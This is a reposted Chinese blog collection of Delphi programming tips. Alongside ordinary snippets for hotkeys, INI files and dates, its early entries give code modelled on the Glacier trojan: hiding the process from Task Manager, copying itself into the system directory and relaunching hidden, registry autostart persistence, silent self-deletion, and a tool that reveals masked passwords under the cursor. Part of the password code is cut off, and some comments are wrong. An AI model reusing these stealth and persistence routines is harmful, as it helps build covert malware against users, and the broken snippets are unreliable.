delphi经典技巧

最新推荐文章于 2021-01-18 15:15:11 发布

转载最新推荐文章于 2021-01-18 15:15:11 发布 · 1.1k 阅读

文章标签：

#delphi #access #string #windows #attributes #integer

经典技艺

问:如何让del+CTRL+ALT看不见程序运行?

答:为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏

也可以使用下面的函数:

function My_SelfHide: Boolean;

type

TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;

var

hNdl: THandle;

RegisterServiceProcess: TRegisterServiceProcess;

begin

Result := False;

if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT

begin

hNdl := LoadLibrary('KERNEL32.DLL');

RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');

RegisterServiceProcess(GetCurrentProcessID, 1);

FreeLibrary(hNdl);

Result := True;

end

else

Exit;

end;

问:自我拷贝法怎么样使用?

答:这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.

打开Delphi,新建一个工程,在窗口的Create事件中写代码:

procedure TForm1.FormCreate(Sender: TObject);

var myname: string;

begin

myname := ExtractFilename(Application.Exename); //获得文件名

if application.Exename <> GetWindir + myname then //如果文件不是在Windows/System/那么..

begin

copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows/System/下}

Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows/System/下的新文件

application.Terminate;//退出

end;

其中GetWinDir是自定义函数,起功能是找出Windows/System/的路径.

function GetWinDir: String;

var

Buf: array[0..MAX_PATH] of char;

begin

GetSystemDirectory(Buf, MAX_PATH);

Result := Buf;

if Result[Length(Result)]<>'/' then Result := Result + '/';

end;

问:如何避免同时运行多个相同程序?

答:为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法.

一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序.

修改dpr项目文件，修改begin和end之间的代码如下：

begin

Application.Initialize;

if FindWindow('TForm1','Form1')=0 then begin

//当没有找到Form1时执行下面代码

Application.ShowMainForm:=False; //不显示主窗口

Application.CreateForm(TForm1, Form1);

Application.Run;

end;

end.

另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。

这样做的好处在于方便升级.它会自动用新版本覆盖旧版本.

方法如下:修改dpr项目文件

uses

Forms,windows,messages,

Unit1 in 'Unit1.pas' {Form1};

问:如何能使程序能在windows启动时自动启动?

答:为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。

加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);

const K = '/Software/Microsoft/Windows/CurrentVersion/RunServices';

var myname: string;

begin

{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}

myname := ExtractFilename(Application.Exename); //获得文件名

if application.Exename <> GetWindir + myname then //如果文件不是在Windows/System/那么..

begin

copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System/下}

Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows/System/下的新文件

application.Terminate;//退出

end;

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey( K, TRUE );

WriteString( 'syspler', application.ExeName );

finally

free;

end;

问:怎么才能把自己的程序删除掉?

答:很简单,可以写一个BAT文件

例如:a.bat

del %0

这样就把a.bat删除掉了!

放一个例子:

用过DOS的朋友应该还记得批处理文件吧，新建一个批处理文件a.bat，编辑其内容为:del %0,然后运行它，怎么样？a.bat把自己删除掉了！！！好，我们就用它来进行程序的“自杀”！

找一个EXE可执行文件，比如说abc.exe,新建一个批处理文件a.bat，编辑其内容为：

:pp

del abc.exe

if exist abc.exe goto pp

del %0

先运行abc.exe，再运行a.bat，然后将abc.exe退出，你会发现a.exe和a.bat都没有了！！！按照这个思路，我们可以在程序中根据文件名称写一个批处理，将上面的abc.exe换成自己的EXE文件名就可以了。运行Delphi，新建一个工程，添加一个Button到窗体上，点击Button，写下如下代码：

procedure TForm1.Button1Click(Sender: TObject);

var Selfname,BatFilename,s1,s2:string;

BatchFile: TextFile;

begin

Selfname:=Extractfilename(application.exename);//取EXE文件自己的名称

BatFilename:=ExtractFilePath(Application.ExeName)+ 'a.bat';//批处理文件名称

S1:='@del '+Selfname;

S2:='if exist '+Selfname+' goto pp';

assignfile(BatchFile,BatFilename);

rewrite(BatchFile);

writeln(BatchFile,':pp');

writeln(BatchFile,S1);

writeln(BatchFile,S2);

writeln(BatchFile,'@del %0');

closefile(BatchFile);

winexec(pchar(BatFilename),sw_hide);//隐藏窗口运行a.bat

application.Terminate;//退出程序

end;

那我们的事情是不是就完了？NO！上面的程序原理是对的，但如果你的程序是运行在系统目录下如Windows目录下或者Windows/System等目录下，除非你打开那个目录看着它删除，否则根本没法卸掉的。那怎么办？别急，我们请出一个函数CreateProcess，它的原型为：

BOOL CreateProcess(

LPCTSTR lpApplicationName, // pointer to name of executable module

LPTSTR lpCommandLine, // pointer to command line string

LPSECURITY_ATTRIBUTES lpProcessAttributes, // pointer to process security attributes

LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to thread security attributes

BOOL bInheritHandles, // handle inheritance flag

DWORD dwCreationFlags, // creation flags

LPVOID lpEnvironment, // pointer to new environment block

LPCTSTR lpCurrentDirectory, // pointer to current directory name

LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO

LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION

);

这个函数和OpenProcess、ReadProcessMemory、WriteProcessMemory使用可以用来读取和修改内存数据，常用的游戏修改器就是用它。由于这些不是本文的重点所以这里不作详细介绍，感兴趣的读者可自行翻阅Delphi自带的帮助文件。用CreateProcess函数创建一个进程就可以完美的完成我们的“程序自杀”了。

运行Delphi，新建一个工程，添加一个Button到窗体上，全部代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure My_DeleteMe; //自定义程序自杀过程

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

My_DeleteMe;

end;

procedure TForm1.My_DeleteMe; //程序自杀

//-----------------------------------------------------------

function GetShortName(sLongName: string): string; //转换长文件名

var

sShortName: string;

nShortNameLen: integer;

begin

SetLength(sShortName, MAX_PATH);

nShortNameLen := GetShortPathName(PChar(sLongName),

PChar(sShortName), MAX_PATH - 1);

if (0 = nShortNameLen) then

begin

// handle errors...

end;

SetLength(sShortName, nShortNameLen);

Result := sShortName;

end;

//-------------------------------------------------

var

BatchFile: TextFile;

BatchFileName: string;

ProcessInfo: TProcessInformation;

StartUpInfo: TStartupInfo;

begin

BatchFileName := ExtractFilePath(ParamStr(0)) + '$$a$$.bat';

AssignFile(BatchFile, BatchFileName);

Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + GetShortName(ParamStr(0)) + '"');

Writeln(BatchFile, 'if exist "' + GetShortName(ParamStr(0)) + '"' + ' goto try');

Writeln(BatchFile, 'del %0');

Writeln(BatchFile, 'cls');

Writeln(BatchFile, 'exit');

CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);

StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;

StartUpInfo.wShowWindow := SW_Hide;

if CreateProcess(nil, PChar(BatchFileName), nil, nil,

False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,

ProcessInfo) then

begin

CloseHandle(ProcessInfo.hThread);

CloseHandle(ProcessInfo.hProcess);

end;

Application.Terminate;

end;

end.

补充：1、上面的批处理的 del %0等同于 del a.bat，用del a.bat则批处理文件必须为a.bat,用del %0则可以随意。

2、所有程序在Pwin98+Delphi5、Win2000+Delphi5下运行通过。

本文的标题为《安装与卸载之卸载篇》，下次将介绍如何用Delphi制作自己的安装程序。记得有一位著名的黑客说过：我从来不去找什么工具软件，需要的话就自己写一个。如果我们也持这种态度，则编程水平一定会越来越高。

问:如何得到*******中的密码?

答:这里有一个例子:

//***********************************************************8

//password_dos.dpr，陈经韬作品

//http://lovejingtao.126.com

lovejingtao@21cn.com | ');

writeln(' | | ');

writeln(' | Oooo 陈经韬 2000.07 | ');

writeln(' +---------------------- oooO---( )---------------------+ ');

writeln(' ( ) ) / ' );

writeln(' / ( (_/ ' );

writeln(' /_) ' );

writeln;

writeln('**************************************************************************');

writeln;

while s<>false do begin

getcursorpos(p); //查鼠标坐标

pass_edit_hwnd:= WindowFromPoint(p); //返回句柄

SendMessage(pass_edit_hwnd,EM_SETPASSWORDCHAR,0,0);//发送消息

SendMessage(pass_edit_hwnd,WM_PAINT,0,0); //

SendMessage(pass_edit_hwnd,WM_KILLFOCUS,0,0); // 刷新窗口

SendMessage(pass_edit_hwnd,WM_SETFOCUS,0,0); //

sleep(1000); //延时1000毫秒

end;

end.

问:如何对注册进行操作?

答:首先：uses registry;

var

r:TRegistry

r:=Tregistry.Create;

r.RootKey:=HKEY_LOCAL_MACHINE、HKEY_CURRENT_USER 之类

r.OpenKey('Software/microsoft'之类, true);

然后就可以 r.ReadString 、 r.ReadInteger、r.WriteString 、 r.WriteInteger 之类

r.Free;

问:怎么使用ini文件进行一些设置的保存?

答:其实很简单,在uses中加入INIFiles然后可以在form的onCreate和onClose两个事件中写东西,onCreate是读出以前写的内容,onClose是写入更改过的内容,下面是一个例子:

放一个CheckBox和Edit

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ComCtrls,INIFiles;//INIFiles不要忘了加

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

With TINIFile.Create('a.ini') do//创建a.ini

begin

WriteBool('MySetting', 'CheckBox1_Checked', CheckBox1.Checked);{保存到MySetting下面的CheckBox1_Checked子键下,然后把Checkbox1的是否按下状态写进去}

WriteString('MySetting', 'Edit1_Text', Edit1.Text);//同上

end;

procedure TForm1.FormCreate(Sender: TObject);//读入a.ini文件中的设置

begin

With TINIFile.Create('a.ini') do//打开已创建的a.ini

begin

CheckBox1.Checked := ReadBool('MySetting', 'CheckBox1_Checked', False);{同上面的写入一样,这里是读取ReadBool和WriteBool是两个BOOL值的写入方法.}

Edit1.Text := ReadString('MySetting', 'Edit1_Text', '');//同上

end;

问:如何能使一个正在运行的程序自动最大化?

答:这是一个例子:

var

hwndwindow:hwnd;

begin

hwndwindow:=findwindow(nil,'DELPHI技巧');//DELPHI技艺改成你要最大化的窗口标提.

if hwndwindow<>0 then//不等于0则是找到了这个窗体

postmessage(hwndwindow,WM_SYSCOMMAND,SC_MAXIMIZE,0);//用postmessage发送一条最大化消息(SC_MAXIMIZE)到这个窗体的句柄

//******************************************************

//另外postmessage(hwndwindow,wm_close,0,0);为关闭

//如果需要要自己的程序中使程序动态变最大化则用

form1.windowstate:=wsmaximized; //form1为你要最大化的窗口名！

//几个要用到的名词:

1.hwnd是句柄的意思,只有先得到了窗体的句柄才能控制它

2.findwindow是找窗体的意思

3.nil是空指针的意思

4.postmessage发送一条消息给一个已找到的窗口句柄.

问:如何使程序在执行过程中暂停一段时间?

答:要使在运行中的程序暂停一段时间可以使用sleep这个关键词,下面是一个例子

procedure TForm1.Button1Click(Sender: TObject);

var

h,m,s,ms:word;

begin

Edit1.text:=DateTimeToStr(now);

sleep(2000);//2000就表示2个微秒

edit2.text:=DateTimeToStr(now);

DecodeTime(strtodatetime(edit2.text)-strtodatetime(edit1.text),h,m,s,ms);

showmessage(format('小时：%d',[h])+format('分钟：%d',[m])+format('秒：%d',[s])+format('微秒：%d',[ms]));

end;

//另外,这也是一个很好的时间相减例子

报告时间的例子:

//先定义:

var

Present: TDateTime;//定义成日期和时间

begin

Year, Month, Day, Hour, Min, Sec, MSec: Word;//定义年月日小时分种秒微秒

DecodeTime(Present, Hour, Min, Sec, MSec);//提出小时分种秒微秒,以TDataTime方式

DecodeDate(Present, Year, Month, Day);//提出年月日,以TDataTime方式

Label1.Caption := 'Today is Day ' + IntToStr(Day) + ' of Month '

+ IntToStr(Month) + ' of Year ' + IntToStr(Year);//显示

Label2.Caption := 'The time is Minute ' + IntToStr(Min) + ' of Hour '

+ IntToStr(Hour);//显示

end;

问:如何在窗口上加入一个flash动画?

答:先把flash动画放到一个htm文件上,然后再把htm文件调用到窗口上例子如下:

procedure TForm1.FormCreate(Sender: TObject);

var

URL: OleVariant;

begin

URL := ExtractFilePath(Application.EXEName) + 'fla.htm';

Webbrowser1.Navigate2(URL);

end;

//要添加一下webbrowser控件

问:怎样才能在程序中实现跳转到网页?

答:例子如下:

procedure TForm1.ToolButton5Click(Sender: TObject);

begin

shellexecute(handle,nil,pchar('http://go.163.com/delphimyself'),nil,nil,sw_shownormal);

end;

问:怎样获得本程序的所在目录?

答:例子如下:

procedure TForm1.FormCreate(Sender: TObject);

begin

edit1.text:=ExtractFilePath(Application.EXEName);

end;

//ExtractFilePath(application.exename);是得到文件路径,application.exenane

//ExtractFilename(Application.Exename);是得到文件名,EXtractFilename

问:如何关闭windows?

答:这个可以关闭windows9X系统

exitwindowsex(ewx_shutdown,0);

问:如何获得windows的安装目录?

答:这里有一个例子:

procedure TForm1.Button1Click(Sender: TObject);

var dir:array [0..255] of char;

begin

GetWindowsDirectory(dir,255);

edit1.Text:=strpas(dir);

end;

//先定义一个dir数组是char类型的

//然后getwindowsdirectory(dir,255);

//用strpas函数来显示出来

//还有一个例子也可以做到如下:

procedure TForm1.Button1Click(Sender: TObject);

var

winpath:pchar;

begin

getmem(winpath,255);

GetWindowsDirectory(winpath,255);

edit1.text:=winpath;

end;

***********************

判断是否item被选中：

for i:=0 to ListBox.Items.Count-1 do

if ListBox.Selected[i] then

begin

showmessage('有item被选中');

break;

end

让第一项被选中：　ListBox.ItemIndex:=0;

******************************

获取硬盘序列号

procedure TForm1.FormCreate(Sender: TObject);

var

dw,dwTemp1,dwTemp2:DWord;

p1,p2:array[0..30] of char;

begin

GetVolumeInformation(PChar('c:/'),p1,20,@dw,dwTemp1,dwTemp2,p2,20);

edit1.text:=inttohex(dw,8);//系列号

end;

***************************

在程序中拖动控件

在控件的mousedown中写入：

ReleaseCapture;

SendMessage(Panel1.Handle, WM_SYSCOMMAND, $F012, 0);

另外改变$F012的值会有很多别的功能

$F001:改变控件的left大小

$F002:改变控件的right大小

$F003:改变控件的top大小

$F004:改变控件的button大小

$F007:控件左边放大缩小

$F008:控件右边放大缩小

$F009:动态移动控件

************************

win98下隐藏进程方法

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

function RegisterServiceProcess(dwProcessID,dwType: Integer): Integer; stdcall; external

'KERNEL32.DLL';

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

RegisterServiceProcess(GetCurrentProcessID,1);

end;

end.

另外在dpr里面的Application.CreateForm(TForm1, Form1);后面加上

Application.ShowMainForm := False;

**************************************

对某一个窗口发送鼠标消息

SendMessage(Handle,WM_LBUTTONDBLCLK,0,0);

对系统发消息关闭程序

SendMessage(Handle, WM_CLOSE, 0, 0);

启动开始菜单

Sendmessage(Application.Handle,WM_SYSCOMMAND,SC_TASKLIST,0);

*****************************

日期时间类操作

showmessage(FormatDateTime('yyyy',now));//年

showmessage(FormatDateTime('mm',now)); //月

showmessage(FormatDateTime('dd',now)); //日

showmessage(FormatDateTime('hh',now)); //时

showmessage(FormatDateTime('nn',now)); //分

showmessage(FormatDateTime('nn',now)); //秒

showmessage(FormatDateTime('zzz',now)); //毫秒

*****************************

执行dos命令

winexec(pchar('net start w3svc '),sw_hide);

就是执行net start w3svc

****************************

Mediaplayer控件按纽控制

procedure TForm1.FormCreate(Sender: TObject);

begin

MediaPlayer1.Open;

MediaPlayer1.Play;

MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];

end;

procedure TForm1.MediaPlayer1Click(Sender: TObject; Button: TMPBtnType;

var DoDefault: Boolean);

begin

case Button of

btPlay :

begin

MediaPlayer1.Play;

MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];

end;

btPause :

begin

if MediaPlayer1.Mode=mpPaused then

begin

MediaPlayer1.Play;

MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];

end

else if MediaPlayer1.Mode=mpPlaying then

begin

MediaPlayer1.Pause;

MediaPlayer1.EnabledButtons:=[btPlay, btPause, btStop, btNext, btPrev, btStep, btBack];

end;

btStop :

begin

MediaPlayer1.Stop;

MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];

end;

btNext :

begin

MediaPlayer1.Next;

MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];

end;

btPrev :

begin

MediaPlayer1.Previous;

MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];

end;

btStep :

begin

MediaPlayer1.Step;

MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];

end;

btBack :

begin

MediaPlayer1.Back;

MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];

end;

****************************

动态生成批处理文件

var

HndFile:Thandle;

begin

HndFile:= filecreate('delJpg.bat');

filewrite(HndFile,'del *.txt'+#13#10,length('del *.txt'+#13#10));

filewrite(HndFile,'del delJpg.bat',length('del delJpg.bat'));

fileclose(HndFile);

WinExec(pchar('./delJpg.bat'),SW_hide);

end

上面程序生成的批处理文件名为deljpg.bat

其内容是

del *.txt

del deljpg.bat

再加一个

procedure TForm1.Button1Click(Sender: TObject);

var

F: TextFile;

iFileHandle :integer;

begin

iFileHandle := FileCreate('f:/delJpg.bat');

FileClose(iFileHandle);

AssignFile(F, 'f:/delJpg.bat');

Append(F);

Writeln(F, 'del f:/' + edit1.Text + '*.txt');

Writeln(F, 'del f:/delJpg.bat');

CloseFile(F);

WinExec(pchar('f:/delJpg.bat'),SW_hide);

end;

******************************

打开新窗口，使上一级窗口处于灰状

form2.ShowModal

*****************************

procedure TForm1.FormCreate(Sender: TObject);

begin

edit2.text:=ExtractFilePath(ParamStr(0)); //获取程序运行的目录路径

edit1.Text:=(Application.ExeName);//获取程序运行的全路径

end;

**************************************

如果热键是要求在本程序中使用的

可以用stuwe的方法：

加三个Action

如Action1,设置其Action1.ShortCut为F1

在其

procedure TForm1.Action1Execute(Sender: TObject);

begin

　 shellexecute(....);

end;

其余两个一样

如果是想要在整个windows环境下面的热键

可以参看下面：

RegisterHotKey函数原型及说明：

BOOL RegisterHotKey(

HWND hWnd, // window to receive hot-key notification

int id, // identifier of hot key

UINT fsModifiers, // key-modifier flags

UINT vk // virtual-key code);

参数 id为你自己定义的一个ID值，对一个线程来讲其值必需在0x0000 - 0xBFFF范围之内，对DLL来讲其值必需在0xC000 - 0xFFFF 范围之内，在同一进程内该值必须唯一

参数 fsModifiers指明与热键联合使用按键，可取值为：MOD_ALT MOD_CONTROL MOD_WIN MOD_SHIFT

参数 vk指明热键的虚拟键码

首先（举个例子）：

RegisterHotKey(handle,globaladdatom('hot key'),MOD_ALT,vk_f12);

然后在form中声明一个函数（过程）：

procedure hotkey(var msg:tmessage);message wm_hotkey;

过程如下：

procedure TForm1.hotkey(var msg:tmessage);

begin

if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then

begin

form1.show;

SetForegroundWindow(handle);

end;

这样，不管你在什么地方，窗口就会显示出来。

当然，你要GlobalDeleteAtom;

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

aatom:atom;

procedure hotkey(var msg:tmessage);message wm_hotkey;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

aatom:=globaladdatom('hot key');

RegisterHotKey(handle,aatom,MOD_ALT,vk_f12);

end;

procedure TForm1.hotkey(var msg:tmessage);

begin

if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then

SetForegroundWindow(handle);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

globalDeleteatom(aatom);

end;

end.

完整源代码 http://www.aidelphi.com/6to23/docu/hotkey.zip

以下是例子

procedure TForm1.FormCreate(Sender: TObject);

Var TmpID:Integer;

begin

TmpID:=GlobalFindAtom('MyHotkey');

if TmpID=0 then //查找全局原子.如果返回值不为0,则说明这个全局原子已经被注册;

id:=GlobalAddAtom('MyHotkey')

else

ID:=TmpID;

TmpID:=GlobalFindAtom('MyHotkey1');

if TmpID=0 then

id1:=GlobalAddAtom('MyHotkey1')

else

id1:=TmpID;

TmpID:=GlobalFindAtom('MyHotkey2');

if TmpID=0 then

id2:=GlobalAddAtom('MyHotkey2')

else

id2:=TmpID;

RegisterHotKey(Handle, id, MOD_CONTROL, VK_F1); //注册热键:Ctrl+F1

RegisterHotKey(Handle, id1, MOD_CONTROL, VK_F2);//注册热键:Ctrl+F2

RegisterHotKey(Handle, id2, MOD_CONTROL, VK_F3);//注册热键:Ctrl+F3

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

UnregisterHotKey(Handle,ID);//释放热键Ctrl+F1

UnregisterHotKey(Handle,ID1);//释放热键Ctrl+F2

UnregisterHotKey(Handle,ID2);//释放热键Ctrl+F3

GlobalDeleteAtom(ID); //删除全局原子ID

GlobalDeleteAtom(ID1);//删除全局原子ID1

GlobalDeleteAtom(ID2);//删除全局原子ID2

end;

procedure TForm1.WMHotKey(var Msg: TWMHotKey);

begin

if msg.HotKey=ID then //热键Ctrl+F1的消息.

ShowMessage('Ctrl+F1!')

else if Msg.HotKey=ID1 then //热键Ctrl+F2的消息.

ShowMessage('Ctrl+F2!')

else if Msg.HotKey=ID2 then //热键Ctrl+F3的消息.

ShowMessage('Ctrl+F3!');

end;

**********************************

判断程序是否运行

if FindWindow(主程序窗体类,主程序窗体标题) = 0 then //找到这个程序

begin

ShowMessage('主程序没有运行') ;

Application.Terminate ;

end;

*******************************

得到鼠标位置上的类

procedure TForm1.Timer1Timer(Sender: TObject);

var

ClassName: PChar;

atCursor: TPoint;

hWndMouseOver: HWND;//鼠标的句柄

Text: PChar;

begin

GetCursorPos(atCursor);//得到鼠标坐标

hWndMouseOver:=WindowFromPoint(atCursor);//得到鼠标句柄和位置

GetMem(ClassName, 100);

GetMem(Text, 255);

try

GetClassName(hWndMouseOver, ClassName, 100);

SendMessage(hWndMouseOver, WM_GETTEXT, 255, LongInt(Text));

Label_ClassName.Caption:='类名(Classname)： '+String(ClassName);

Edit1.Text:=String(Text);

finally

FreeMem(ClassName);

FreeMem(Text);

end;

*****************************

实现断点续传

如果使用ICS控件，那么

HttpCli.ContentRangeBegin := '100' 表示从100开始

HttpCli.ContentRangeEnd :='' 表示一直到结束

HttpCli.ContentRangeEnd :='200' 表示到200字节处结束

如果使用 TNMHTTP 控件

在OnAboutToSend事件，写：

NMHTTP1.SendHeader.values['Range'] := 'bytes=100-' 表示从100字节处开始下载到最后

NMHTTP1.SendHeader.values['Range'] := 'bytes=100-200' 表示从100字节处开始下载到200字节处结束

***************

procedure TForm1.Button6Click(Sender: TObject);

var

f:TSearchRec;

begin

FindFirst('a.doc',faAnyFile,f);

fPreSize:=f.Size;

NMFtp.DoCommand('Rest '+IntToStr(fPreSize));

NMFtp.DownloadRestore('a.doc','a.doc');

end;

这是用TNMFtp来续传的代码。

**********************************

Delphi中用Sender参数实现代码重用

面向对象的编程工具的特点之一就是要提高代码重用性(Reuse)，作为新一代可视化开发工具，Delphi中的代码重用性相当高。我们知道，在Delphi中，大部分程序代码都直接或间接地对应着一个事件，此程序称为事件处理句柄，它实际上就是一个过程。从应用程序的工程到表单、构件和程序，Delphi强调的是其开发过程中每一层次的重用性，可以通过编写某些构件常用的事件处理句柄来达到程序重用目的。你可以在属性窗口的Events页上将A事件的处理句柄指向B事件的处理句柄，这样A事件和B事件就共享了一个过程段，从而达到了重用的目的。如果共享的程序段与发生该事件的控件无关，如ShowMessage(′hello,world′)，那这种共享是最简单的。但一般来说，代码段间的共享都跟发生该事件的控件有关，需要根据控件类型做出相应的处理，这时就要用到Sender参数。

　　每个过程段的开头都类似procedure TForm1FormClick(Sender:TObject)；其中的Sender是一个TObject类型的参数，它告诉Delphi哪个控件接收这个事件并调用相应的处理过程。你可以编写一个单一的事件处理句柄，通过Sender参数和IF…THEN…语句或者CASE语句配合，来处理多个构件。发生事件的构件或控件的值已经赋给了Sender参数，该参数的用途之一就在于：可以使用保留字IS来测试Sender，以便找到调用这个事件处理句柄的构件或控件的类型。例如，将表单中编辑框和标签的Click事件的处理句柄都指向表单的xxx过程，编辑框和标签对Click事件有不同的反应：

　　procedure TForm1xxx(Sender:TObject);

　　begin

　　if(sender if Tedit) then

　　showmessage(′this is a editbox′);

　　if(sender is Tlabel) then

　　showmessage(′this is a label′);

　　end;

　　Sender参数的第二个用途是结合AS操作符进行类型转换，将若干个派生于某一父类的子类强制转换成该父类。例如表单中有一个TEdit类控件和一个TMemo控件，它们实际上都派生于TcustomEdit类，如果你要为二者的某一事件提供同样处理，可以将二者事件句柄都指向自定义的过程yyy:

　　Procedure TForm1.yyy(Sender:TObject);

　　begin

　　(sender as TcustomEdit).text:=′This is some demo text′;

　　end;

　　在过程中，AS操作符将TEdit类和TMemo类均强制转换成TcustomEdit类，再对TcustomEdit类的属性赋值。注意这种转换必须符合Delphi中类的层次关系。

　　使用Sender参数可以通过单一过程段处理多类控件，真正体现了Delphi面向对象的重用性。

*****************************

窗口渐渐出现

AnimateWindow(Handle,1000,AW_CENTER);

*****************************

delphi中嵌入汇编的方法

function cyclecount:int64;

asm

db $0f

db $31

end;

**********************

读BIOS名称日期序列号

读BIOS名称日期序列号，这个程序最短！在D5中测试通过！

with Memo1.Lines do

begin

Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));

Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));

Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));

Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));

end;

///////////////////////////////////////////////////////////////////

读主板信息：

主板名称： String(PChar(Ptr($FE061)));

版权： String(PChar(Ptr($FE091)));

日期： String(PChar(Ptr($FFFF5)));

序列号： String(PChar(Ptr($FEC71)));

***********************

在20000下关机

在20000下关机不象在98下直接调用ExitWindows函数就成，你首先要用OpenProcessToken函数打开与进程相关的访问信令然后再使用ExitWindow函数退出Win2000.

以下这段程序可供参考：

var

hToken :THandle ;

tkp :TOKEN_PRIVILEGES ;

otkp :TOKEN_PRIVILEGES ;

dwLen :Dword ;

begin

if OpenProcessToken(GetCurrentProcess ,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY ,hToken) then

begin

LookupPrivilegevalue(Nil ,'SeShutdownPrivilege' ,tkp.Privileges[0].Luid) ;

tkp.PrivilegeCount := 1 ;

tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken ,False ,tkp ,sizeof(tkp) ,otkp,dwLen) ;

if (GetLastError() = ERROR_SUCCESS) then

begin

ExitWindowsEx(EWX_POWEROFF ,0) ; //关机

end ;

end;

***************************

模拟键盘击键

shift + 'a' 换成Delphi 就是:

keybd_event(VK_SHIFT,0,KEYEVENTF_EXTENDEDKEY + 0,0);

keybd_event(65,0,KEYEVENTF_EXTENDEDKEY + 0,0);

keybd_event(65,0,KEYEVENTF_EXTENDEDKEY + KEYEVENTF_KEYUP,0);

keybd_event(VK_SHIFT,0,KEYEVENTF_EXTENDEDKEY + KEYEVENTF_KEYUP,0);

*****************************

弹出、关闭光驱

uses中加MMSYSTEM

弹出光驱

mciSendString('Set cdaudio door open wait', nil, 0, handle);

关闭光驱

mciSendString('Set cdaudio door closed wait', nil, 0, handle);

*******************************

防止对话框ALT+F4关闭

TForm1 = class(TForm)

...

private

procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;

...

end;

procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);

begin

if Msg.CmdType <> SC_CLOSE then

inherited

end;

*********************************

调用Windows内核

对程序员而言，有一句至理名言就是：“写得好就是写得少！(Writing better is writing less)”

回答:

以下命令可以直接在Windows的运行窗口直接执行，在Delphi中你要这样使用：

winexec(Pchar('ABCD'),sw_Show);

其中"ABCD"代表以下命令之一：

"rundll32 shell32,Control_RunDLL" - 运行控制面板

"rundll32 shell32,OpenAs_RunDLL" - 打开"打开方式"窗口

"rundll32 shell32,ShellAboutA Info-Box" - 打开"关于"窗口

"rundll32 shell32,Control_RunDLL desk.cpl" - 打开"显示属性"窗口

"rundll32 user,cascadechildwindows" - 层叠全部窗口

"rundll32 user,tilechildwindows" - 最小化所有的子窗口

"rundll32 user,repaintscreen" - 刷新桌面

"rundll32 shell,shellexecute Explorer" - 重新运行Windows Explorer

"rundll32 keyboard,disable" - 锁写键盘

